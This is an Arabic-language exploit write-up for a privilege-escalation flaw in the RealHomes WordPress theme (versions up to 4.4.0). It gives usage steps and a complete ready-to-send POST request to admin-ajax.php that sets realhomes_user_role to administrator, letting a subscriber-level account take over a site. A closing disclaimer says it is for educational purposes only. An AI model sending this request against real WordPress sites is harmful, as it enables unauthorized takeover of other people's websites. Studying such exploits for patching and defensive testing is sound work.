
RH - قالب ووردبريس العقارات <= 4.4.0 - مصادق عليه (مشترك+) رفع الامتيازات
🔥 ملخص الثغرة
القالب WordPress RealHomes الإصدارات <= 4.4.0 معرض لثغرة تصعيد الصلاحيات. تسمح هذه الثغرة للمستخدمين المُوثَّقين ذوي الصلاحيات المنخفضة (مثل المشتركين) بترقية أدوارهم إلى مسؤولين. تحدث هذه الثغرة من خلال الدالة inspiry_update_profile، التي تسمح بشكل غير صحيح للمستخدمين بتغيير دورهم إذا كان الخيار ere_allow_users_change_role مفعَّلاً.
يمكن استغلال هذه المشكلة بإرسال طلب POST مُصمَّم خصيصًا إلى نقطة النهاية admin-ajax.php، مع توفير المعامل realhomes_user_role المُعيَّن إلى administrator.
🔍 القالب المتأثر
🧪 ميزات الاستغلال
administrator عبر المعامل realhomes_user_role.🧠 الباحث
🚀 الاستخدام
سجِّل الدخول إلى الموقع المستهدف كمستخدم منخفض الصلاحية (مثل مشترك).
الوصول إلى نقطة النهاية /wp-admin/admin-ajax.php مع بيانات POST التالية، والتي تتضمن realhomes_user_role المُعيَّن إلى administrator:
POST /wp-admin/admin-ajax.php HTTP/2
Host: targetsite.com
Cookie: wordpress_logged_in_xxx=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="first-name"
test
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="last-name"
user
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="realhomes_user_role"
administrator
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="action"
inspiry_update_profile
------WebKitFormBoundaryNGw1yuikHiYVYYsr--
تحقق من الرد: إذا كان الطلب ناجحًا، فسيحصل المهاجم على صلاحيات إدارية.
تأكيد بالوصول إلى صفحة /wp-admin/ للتحقق مما إذا كان المهاجم قد حصل على صلاحيات إدارية.
🔒 إخلاء مسؤولية: هذا المحتوى مُعد للأغراض التعليمية فقط ويجب استخدامه فقط على الأنظمة التي تمتلكها أو مُصرَّح لك صراحةً باختبارها. قد يؤدي سوء استخدام هذا الكود إلى عواقب قانونية.